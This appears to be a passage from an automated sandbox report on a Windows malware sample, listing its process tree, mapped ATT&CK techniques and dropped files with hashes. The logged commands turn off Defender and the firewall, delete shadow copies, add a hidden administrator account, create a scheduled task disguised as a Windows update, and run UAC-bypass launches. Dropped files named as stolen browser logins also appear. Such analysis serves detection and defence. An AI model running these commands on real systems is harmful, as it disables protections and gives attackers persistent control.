- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4544
- C:\Windows\system32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:792
- C:\Windows\system32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4460
- C:\Windows\system32\notepad.exe
  "notepad.exe"
  2⤵
  PID:2080
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:11028
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:9412

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
1⤵
PID:3352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
1⤵
PID:5892

C:\Users\Admin\AppData\Local\tcpmon.exe
"C:\Users\Admin\AppData\Local\tcpmon.exe"
1⤵
PID:5508
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7392
- C:\Windows\system32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:7332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:8828

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7528

C:\Windows\System32\cmstp.exe
"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ab6ef0d9-8d25-4223-a727-d529c4d9cc7d.inf
1⤵
PID:7604

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
1⤵
PID:7648

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
1⤵
PID:7872

C:\Windows\System32\fodhelper.exe
"C:\Windows\System32\fodhelper.exe"
1⤵
PID:7896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
1⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:7904

C:\Windows\System32\fodhelper.exe
"C:\Windows\System32\fodhelper.exe"
1⤵
PID:7924
- C:\Users\Admin\AppData\Local\tcpmon.exe
  "C:\Users\Admin\AppData\Local\tcpmon.exe"
  2⤵
  PID:3464
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8748
- - C:\Windows\System32\eventvwr.exe
    "C:\Windows\System32\eventvwr.exe"
    3⤵
    PID:9052
  - - C:\Windows\system32\mmc.exe
      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
      4⤵
      PID:9080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    PID:9128
- - C:\Windows\system32\net.exe
    "net.exe" user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:8988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
1⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:7964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
1⤵
PID:7192

C:\Windows\SYSTEM32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:7596
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:8228

C:\Windows\system32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:7812
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:8236

C:\Users\Admin\AppData\Local\tcpmon.exe
"C:\Users\Admin\AppData\Local\tcpmon.exe"
1⤵
PID:5724
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8740
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8e43ea78-86fd-4041-8d06-f3baf29f9190.inf
  2⤵
  PID:8772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:8204

C:\Windows\SYSTEM32\net.exe
"net.exe" localgroup Administrators WindowsUpdater /add
1⤵
PID:8264
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
  2⤵
  PID:8952

C:\Windows\system32\net.exe
"net.exe" localgroup Administrators WindowsUpdater /add
1⤵
PID:8392

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8196

C:\Windows\System32\cmstp.exe
"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c01595cd-0f29-473c-aa46-66c64f4733d1.inf
1⤵
PID:7836

C:\Windows\System32\eventvwr.exe
"C:\Windows\System32\eventvwr.exe"
1⤵
PID:5620
- C:\Windows\system32\mmc.exe
  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
  2⤵
  PID:7912

C:\Windows\System32\fodhelper.exe
"C:\Windows\System32\fodhelper.exe"
1⤵
PID:8284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
1⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:8300

C:\Windows\SYSTEM32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:924

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:10016

C:\Windows\System32\cmstp.exe
"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4972da56-349f-44f6-a527-50d790f78610.inf
1⤵
PID:9760

C:\Windows\System32\eventvwr.exe
"C:\Windows\System32\eventvwr.exe"
1⤵
PID:11240
- C:\Windows\system32\mmc.exe
  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
  2⤵
  PID:10060

C:\Windows\System32\cmstp.exe
"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d38127e5-5abb-455f-bc8a-dc39cd67d8d0.inf
1⤵
PID:9936

C:\Windows\System32\fodhelper.exe
"C:\Windows\System32\fodhelper.exe"
1⤵
PID:9856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
1⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:9868

C:\Windows\System32\eventvwr.exe
"C:\Windows\System32\eventvwr.exe"
1⤵
PID:7384
- C:\Windows\system32\mmc.exe
  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
  2⤵
  PID:10088

C:\Windows\system32\notepad.exe
"notepad.exe"
1⤵
PID:10500

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
1⤵
PID:10356

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
1⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
PID:9992

C:\Windows\System32\cmstp.exe
"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f830601a-aeeb-47ba-acca-5153941b659b.inf
1⤵
PID:11072

C:\Windows\System32\eventvwr.exe
"C:\Windows\System32\eventvwr.exe"
1⤵
PID:10208

C:\Windows\system32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:8896
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:6676

C:\Windows\system32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:8608

C:\Users\Admin\AppData\Local\tcpmon.exe
"C:\Users\Admin\AppData\Local\tcpmon.exe"
1⤵
PID:11588

C:\Windows\SYSTEM32\net.exe
"net.exe" user WindowsUpdater P@ssw0rd123 /add
1⤵
- Creates a new local user account
PID:12040

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
1⤵
PID:12232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

History.stolen

Path C:\ProgramData\WindowsUpdate\Stolen\History.stolen
Size 204KB
SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
MD5 0f709d9a7125f5d69ba52e8846867f41
SHA1 e9e554385d503e88a18665f5fa36d4b8f9d49fb9
SHA512 9969ad8f86e8c40d9d609e65c091565e14ce550d9191c3ea0d1c62ce51d076a79b20078f556667e96f012dffd60578ef82a8cc245676db78d3b6b2b3d9d71711
SSDEEP 96:3XIU+bGz83uy3+u4tgp4DLjGQLBze9z39jBHMsDEuspU0wbtqrOQpPfR4J+MCXki:3Xf+G83uy3Ct7XBBKjH7DXspU3i
TLSH
T176140F0E5F243721CDBD917629E644B35D7CF03F8B5266DA686114B4CEE3A52A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\ProgramData\WindowsUpdate\Stolen\Login Data.stolen
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 1d6ce3bddce679786fe27e71f01cea6124fdbd088bd8a9f6dcffa81975d36d9e
MD5 80bdf47d8a0d1fa5a4627503e61bed74
SHA1 c82cdeb53d3ddf7224820f86f4a58303011cbce5
SHA512 def8761016650a3dac34a8082914bccbd9a81a38ec1ceec78e957c35c8668d9d3827c6fa55ded60da6ab615512f7b05fd475f1f0e013b8826d2c65bc2c6d6d73
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 86ad6ab81ffcc56003b0da340265c8822ec28685f00e3d07a654c3cbaf4dbcad
MD5 6f924bbaa054b20f32213204bbfccbc7
SHA1 afdae3f195de19f5dbcc77de090d4c6bd4924cfd
SHA512 9e4bf82dc0b880d5f2e2e4b3290ff8f1d70cb52a6409053688f0257fd971b8e0ef4eabdea9e194f9783fb9bcb8cf812c717482b5f3dad4afedb534e9f1b62bcc
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 f10207bb70caf351a3f29142bb66b072806a2d7b00fc250f5644340c6ddb994e
MD5 c3ef79dfbfbfb8a5bddb81cceea6b8f5
SHA1 1f8957353c6b757fcfaaa3c6833fd12734a855f6
SHA512 14bd20cd2666f8768cc8ce27dab35b0a90659e88fd4898c789f396f6257dc210beff9fa1bfcee00a4772bd5266108cf7a86a037585ae949a968fb42c51e60408
MD5 SHA1 SHA512

Submit Download

install.log

Path C:\ProgramData\WindowsUpdate\install.log
Size 34B
SHA256 a7933e80c1a99d7a7e8c7196480b989cda6fb42b7d53c2144007fd46bfc1faa1
MD5 4b09da96aca7f376da8e6a6e1692c2ea
SHA1 132d24a12c3559c9bb4c946cdc1c6a3abe41207e
SHA512 c3e1aa5771a00565120d99afc298bb37986bb3dd432167fef2561ec2da6d209d0dd6a2b12308b4bef9be952ea5383dc7e4d6718784644e9601a5c8adcc6c7eb0
MD5 SHA1 SHA512

Submit Download

5cedd54c-339c-4351-8e9e-aeec72bcd848.inf

Path C:\Users\Admin\AppData\Local\Temp\5cedd54c-339c-4351-8e9e-aeec72bcd848.inf
Size 176B
SHA256 1b3f3c3b384d62676ceb8504b0973c61b59cc27d99ab048d13eb0483ef725f16
MD5 810db19f7d8d5b6e0b12b19524ff9a8f
SHA1 0e283644b062b3f881b65be99e269fa022fa30b2
SHA512 c2d93a2a6d64e5f845bf2f7fb042f122d992f4cde3216f60c23816dda38c72ddb003c41249de55544fa0e4a01677471b1f8695faf0537b8479f0725bdf0e3d5a
TLSH
T169C01280D1F69675050A7D33113B52984EA28506390A175830F1DA66426580566D323A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lux1yfz1.zgf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lux1yfz1.zgf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a409727f-cc03-4fb5-9617-40049acdcdd6.inf

Path C:\Users\Admin\AppData\Local\Temp\a409727f-cc03-4fb5-9617-40049acdcdd6.inf
Size 154B
SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
MD5 e2ebb345743e6ee5447f499dcfe72fa9
SHA1 44bf1537d559f0037a951a26be863389fd6bf118
SHA512 d344692d13026eb3fc634d3972571a7ff60c035bee43ed7c8f69fd2f0ee582ccc49303a99c65287706801a1ea8e00aa0b067c800ca81c69f460047b6a0255a23
TLSH
T173C08CC4C0F096B60A0A6833213B03E44EB2C2057E8A170810F0EA6A82E980462D323E
MD5 SHA1 SHA512 TLSH

Submit Download

dummy.tmp

Path C:\Users\Admin\AppData\Local\Temp\dummy.tmp
Size 2.4MB
SHA256 8bcfaa8800b3730fd2b207dade164d0eff9ba2c2f54ee5c2248d627f1a085ae1
MD5 bbeec2b7abfc2a37eb63cd0e21a3bd6e
SHA1 e6d6b208aa518c9decff1552d0cb41729015155c
SHA512 a7f106c13b6b84bba866de2c77e9cc76e5f8818706df65065ae501563ae45a07f623076a82d6c02d7fa0204a08e720c6349e516d1c67362901a63dbbf543d48f
SSDEEP 49152:hlA2DZZ5TlRmfR972sQou5BN9KnJyQbhyT1R+vGr4v:hlAOTlRmR972sQDKnPMBR+vGr0
TLSH
T129B533D3D65863E0026E8B5A5C554DAF1423E0F91A7A2DA74DC821ED3E10CC623AFDF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dummy.tmp

Path C:\Users\Admin\AppData\Local\Temp\dummy.tmp
Size 4.6MB
SHA256 b1800a24fd9c0c7ad1ce5de040b1a75643cd85c55e75f01945a72398b985dd9f
MD5 41053fecc14bc4ec5a0b8bc16b9ae94d
SHA1 4a8da635c5d346d069c853ebe19b9f721202821d
SHA512 edfa5def85576b188a7c83f5fc3c33b4f5857a367eb5645cefea40292fadfdf3858e5f54b56075c3efcfac135e5cf05624d2a08769a4f4c6363da39c80adabfa
SSDEEP 98304:MftAMoRJncCb+cFpy7Btl8Y9fTiVgpcr4uYf4/7E:+kJIcSVL8oiVgpcrgqw
TLSH
T109263355FF1014CA23787B34CCA563F5F86AFA4E0C52B2DDB9D90EAB29380586C9B452
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dummy.tmp

Path C:\Users\Admin\AppData\Local\Temp\dummy.tmp
Size 4.6MB
SHA256 138cf908b4e7d8ca1785bcc7070490f50c64d28b94efbebfc81f7fec492bece9
MD5 49b1a46b8cc369f807b2afef357950c2
SHA1 10372de9046e1b26c56992daca664f421e6bee7c
SHA512 ddd9bad9ee2a352cd4f50d94dd062f3a6d91865ab3dda32fae0036df731338d66356904fa782e1f3e09cf0919b07b0b706734e1ae1f68695d6965e464d0ee32d
SSDEEP 98304:D5rcP4r7q4mMw+ybXM9SKEQSt6DhGNITOe5G2NmqrW:DiP4rukSXrGT34dqrW
TLSH
T1FE2633422D05E777FAE6936C744BA1A60B30E15DA9B56CFB6686C3FC0FCA011BD43648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 60B
SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
MD5 b31608602a1e0bf182890383caa50432
SHA1 934b32186076f89d14be5f08a2fd36c4fd0fff0b
SHA512 9e4fbbc0a526b8a691f0c4a8f9c9249863098bd5cce109547cf426e2778181a72a372d456a6d357fd48ad419cce3e09b8d8df57ef3df1529ed4ab043c067e228
TLSH
T1ACA002068885856F08154C1715E367C9B0B9045DAAC67A004241982C1AD745AB4CA512
MD5 SHA1 SHA512 TLSH

Submit Download

uac.bat

Path C:\Users\Admin\AppData\Local\Temp\uac.bat
Size 82B
SHA256 235bc76ee59fa33a82fa89775e4142555f5b839d3201c920816343d933995822
MD5 bb366522e717db4c71dcdc82d7046eff
SHA1 3add436a3cbee9f793fd3513c3452914c5fbb28e
SHA512 e1e0b05b235761b558ac849b22eab98f1669db5e9bb0f6b32eeb278c25ac85a7d2fd943a0afc6c6cff29fb87da2ee6e0bfec405cd8f125b98b957f436d603392
TLSH
T168A01202D847423E04051C2300F2714C7065145A1506276031038419055380A75C5202
MD5 SHA1 SHA512 TLSH

Submit Download

tcpmon.exe

Path C:\Users\Admin\AppData\Local\tcpmon.exe
Size 39KB
SHA256 9b245fe76af2d845e61023e176dd4c3fa50af4d0cfa7207d6f219394294e2e74
MD5 24efa1bf8659ac8354f02c9683a9c409
SHA1 ba5e82645a2f4342d82c90dea4cdd65c87e3c9c6
SHA512 5985b8409509965a4276d523fac205211ce3ad2951ce85536c5c9cbe85520be18e8fccc5d66aa9ebceb1f1b50410ed9ade719a04a4de03c87d2a9dd9310c9cdd
SSDEEP 768:P0nNoieo3T9qlbSFto7XmoIH92HDdEEusXqKhoayz1:coiXTrFtoTmoIH92jdf9Xqiol
TLSH
T19B03E84537FD8628E1BF6ABB4D3282008775F4979D13D70D0ED5849E1AB3B448AE8B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.dat

Path C:\Users\Admin\AppData\Roaming\4F09A5CF-F8F5-4055-96EB-FCEA7511C1FE\config.dat
Size 28B
SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
MD5 d99903add8344822cf8ca20255db9518
SHA1 363722ecd9868f749c701f4214eb6da19585ca60
SHA512 47e3aac366e6258bc2a6dadff0c41c3e45442339520f2f6818ac598989f4f6cf1a704a6c31417ab486b1af914ee2cf655d1af777eddc85d7c66aaa0a466e0d6b
MD5 SHA1 SHA512

Submit Download

run.dat

Path C:\Users\Admin\AppData\Roaming\4F09A5CF-F8F5-4055-96EB-FCEA7511C1FE\run.dat
Size 20B
SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
MD5 70e87321819d7fd280e5a03903c80ff1
SHA1 e059e29a7446feeb08fec50f65ab8cb2e47df6fd
SHA512 f3813e6ce663015e9a147ae195d33d87a49799411f98e5f61c8b5e7261945ec8c1ee424002887d1bfd89cdaf0599e51e788fefc527f803c2508538f2132aa60e
MD5 SHA1 SHA512

Submit Download

memory/3136-38-0x000001731C440000-0x000001731C462000-memory.dmp

Download

memory/3280-0-0x0000000000CC0000-0x0000000000CD0000-memory.dmp

Download

memory/3280-255-0x0000000002F30000-0x0000000002F40000-memory.dmp

Download

memory/3280-497-0x0000000002F30000-0x0000000002F40000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads